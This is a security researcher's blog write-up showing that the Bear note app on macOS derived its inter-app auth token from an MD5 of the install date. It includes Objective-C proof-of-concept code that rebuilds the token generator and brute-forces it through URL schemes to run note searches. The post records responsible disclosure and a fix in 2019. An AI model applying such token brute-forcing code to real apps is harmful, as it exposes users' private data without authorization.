Readers who know me probably also know that I like test soft that I use. So it was this time. I wanted to collect all my chaotically stored notes in Apple Notes, docx files, txts, etc. I considered many different noting apps, but finally I chose Bear.app. Bear offers cool hashtags systems, markdown notation, and syntax highlighting that totally bought me. 😉 Bear is also in the top 10 App Store productivity apps!
Exploration
I started reading the docs. After some time I came across interesting article.
OK, so Bear supports inter-app communication. Since using URL schemes is mentioned to be a one-way communication mechanism, it implements a standard called x-callback-url. This standard allows two-way communication between apps using the following algorithm:
- App A opens
appB://x-callback-url/action?parameter1=do_something&x-source=appA&x-success=appA://x-callback-url/success
- App B is opened, the query string is passed, actions are performed.
- Then, App B takes x-success parameter value and opens
appA://x-callback-url/success?success_parameter1=...
Voilà! We have two-way inter-app communication based on URL schemes.
Now, take a look at actions that we can execute using these schemes. Some of them require a token generated on the first run of Bear.
Token not required | Token required |
---|---|
/open-note | /tags |
/create | /open-tag |
/add-text | /untagged |
/add-file | /todo |
/rename-tag | /today |
/delete-tag | /search |
/trash | |
/archive | |
/grab-url | |
/change-theme | |
/change-font |
As you can see, some important actions like /trash doesn’t require token, but it takes note UID as a parameter. So, if you want to abuse /trash action, you’ll need to use /search (that will return notes UIDs) and then perform trash action. In order to do that, we need the authorization token…
Analyzing token generation mechanism
Let the reversing begin. Copy /Applications/Bear.app/Contents/MacOS/Bear
to temporary location and open it with Hopper. We are looking for token generation method. So, just search for a token string!
Found. 😉 Now, it’s time to see what method exactly uses generateToken string. Well, it turned out that generateToken is the name of the method that we are looking for. Hopper deals with Objective-C code very well, so we generate the pseudocode, as I showed below.
Hmm, it picks somehow formatted date, uses CC_MD5()
function, makes some binary operations, and saves it to a string. It doesn’t look very secure since the token isn’t randomly generated. We have to see what’s the result of calling [SFDateHelper currentDateWithFormat:0x0];
. To do this, we use modified Cycript version that is based on the Frida engine. Injecting to Bear process is as simple as pass its name via -p
parameter
Sztajger:frida-cycript wojciechregula$ ./cycript -p Bear
cy# [SFDateHelper currentDateWithFormat:0x0];
@"27 Feb 2019 at 00:41"
We can see now that the input date is made of dd-MMM-yyyy:hh-mm. It’s not a wide range to brute force, so let’s write an exploit!
Developing an exploit
Before we start writing the exploit, make a notice that it will cover exploitation from another sandboxed app (generally downloaded from App Store) perspective. The nsandboxed app can just access Bear’s resources without this magic unless you encrypt your notes. 😉
Let’s discuss the exploit’s architecture. It will be just a Proof of Concept invoking /search action requiring valid token. To do that, we’ll need to create a Cocoa app since it will register an URL scheme that is then handled by the application delegate. When our exploit launches, it needs to start brute forcing. Assuming that viewDidLoad
(ViewController) will start the exploit, handleURLEvent
(AppDelegate) will stop it (since we don’t want to continue the exploit when the token is found). Because these two methods will use the same object, I decided to create an exploit module that is a singleton class with the following declaration:
@interface Bruteforcer : NSObject
@property NSString *base_url;
@property BOOL isBruteforced;
+ (id)getInstance;
- (void)searchWithTag:(NSString*)tag term:(NSString*)term token:(NSString*)token;
- (void)bruteforceToken;
- (NSString*)generateTokenForDate:(NSDate*)dateFrom;
- (NSDate*)getInstallationDate;
- (void)start;
@end
Reconstructing generateToken
method
- (NSString *)generateTokenForDate:(NSDate *)dateFrom {
NSDateFormatter *df = [NSDateFormatter new];
[df setDateFormat:@"MMM"];
NSString *month = [df stringFromDate:dateFrom];
NSCalendar *calendar = [NSCalendar currentCalendar];
NSDateComponents *c = [calendar components:(NSCalendarUnitYear | NSCalendarUnitDay | NSCalendarUnitHour | NSCalendarUnitMinute) fromDate:dateFrom];
NSString* date = [NSString stringWithFormat:@"%d %@ %d at %d:%d", (int)[c day], month, (int)[c year], (int)[c hour], (int)[c minute]];
const char *str = [date UTF8String];
unsigned char *result = malloc(16);
CC_MD5(str, (unsigned int)strlen(str), result);
unsigned char t1 = *(int8_t *)(result + 0x1) & 0xff;
unsigned char t2 = *(int8_t *)(result + 0x9) & 0xff;
unsigned char t3 = *(int8_t *)(result + 0x4) & 0xff;
unsigned char t4 = *(int8_t *)(result + 0x6) & 0xff;
unsigned char t5 = *(int8_t *)(result + 0x3) & 0xff;
unsigned char t6 = *(int8_t *)(result + 0x8) & 0xff;
unsigned char t7 = *(int8_t *)(result + 0x5) & 0xff;
unsigned char t8 = *(int8_t *)(result + 0xc) & 0xff;
unsigned char t9 = *(int8_t *)(result + 0xf) & 0xff;
NSString *token = [NSString stringWithFormat:@"%02X%02X%02X-%02X%02X%02X-%02X%02X%02X", t1, t2, t3, t4, t5, t6, t7, t8, t9];
free(result);
return token;
}
Registering URL scheme
It’s as simple as adding an entry in Xcode -> Project File -> Info -> URL Types
Handling incoming URL invocation
We need to add handleURLMethod
in AppDelegate.m
. When this URL is invoked, it means that /search operation was successfully executed in Bear and the token is brute-forced. We change isBruteforced
property that will be handled in the brute forcing module.
- (void)handleURLEvent:(NSAppleEventDescriptor *)theEvent withReplyEvent:(NSAppleEventDescriptor *)replyEvent
{
NSString *path = [[theEvent paramDescriptorForKeyword:keyDirectObject] stringValue];
if(![path hasPrefix:@"bearinfiltrator://error"]) {
// stop bruteforcing
Bruteforcer *bruteforcer = [Bruteforcer getInstance];
bruteforcer.isBruteforced = YES;
NSAlert *alert = [[NSAlert alloc] init];
[alert setMessageText:[NSString stringWithFormat:@"App received following information: %@", path]];
[alert addButtonWithTitle:@"OK"];
[alert runModal];
}
}
Implementing /search invocation
- (void)searchWithTag:(NSString *)tag term:(NSString *)term token:(NSString *)token {
NSString *query = [NSString stringWithFormat:@"search?term=%@&tag=%@&token=%@&show_window=no&x-source=BearInfiltrator&x-success=bearinfiltrator://success&x-error=bearinfiltrator://error", term, tag, token];
NSURL *url = [NSURL URLWithString:[NSString stringWithFormat:@"%@%@", self.base_url, query]];
NSWorkspace *workspace = [NSWorkspace sharedWorkspace];
[workspace openURL:url];
}
Getting the installation date
Before starting brute-forcing it’s a good idea to optimize it. The application token couldn’t have been created before Bear was installed. That’s why I will implement a method that will get the creation date of Bear.app directory (even sandboxed app can check that).
- (NSDate *)getInstallationDate {
NSFileManager *fm = [NSFileManager defaultManager];
NSString *filePath = @"/Applications/Bear.app";
if ([fm fileExistsAtPath:filePath]) {
NSDictionary *attributes = [fm attributesOfItemAtPath:filePath error:nil];
NSDate *creationDate = attributes[NSFileCreationDate];
return creationDate;
}
return nil;
}
Bruteforcing module
Bruteforcing module will be iterating over the dates adding 1 minute for each iteration:
- (void)bruteforceToken {
NSDate *dateFrom = [self getInstallationDate];
NSDate *dateTo = [NSDate new];
NSTimeInterval ti = 60;
do {
if(!isBruteforced) {
NSString *tmp_token = [self generateTokenForDate:dateFrom];
[self searchWithTag:@"secret" term:@"" token:tmp_token];
} else {
return;
}
dateFrom = [dateFrom dateByAddingTimeInterval:ti];
NSLog(@"%@", dateFrom);
} while ([dateFrom compare:dateTo] == NSOrderedAscending);
NSAlert *alert = [[NSAlert alloc] init];
[alert setMessageText:@"Bruteforce failed"];
[alert addButtonWithTitle:@"OK"];
[alert runModal];
}
Other modules are rather obvious and not-worthy describing here. If you are interested to see the full exploit, ping me on Twitter. 😉
Results
After few seconds of running the exploit, incoming message came! We managed to brute force the token.
Improvements
This exploit is really noisy. While brute forcing the token, it constantly changes the focus between Bear and exploit. However, assuming that theuser opened Bear the first time after a maximum 1 day from installation, brute forcing will take few seconds (in my case 2-3).
Status
27th Feb 2019 - Issue sent do developers
24 April 2019 - I confirmed that the newest version is fixed. The token is now created basing on random UUID instead of the current date.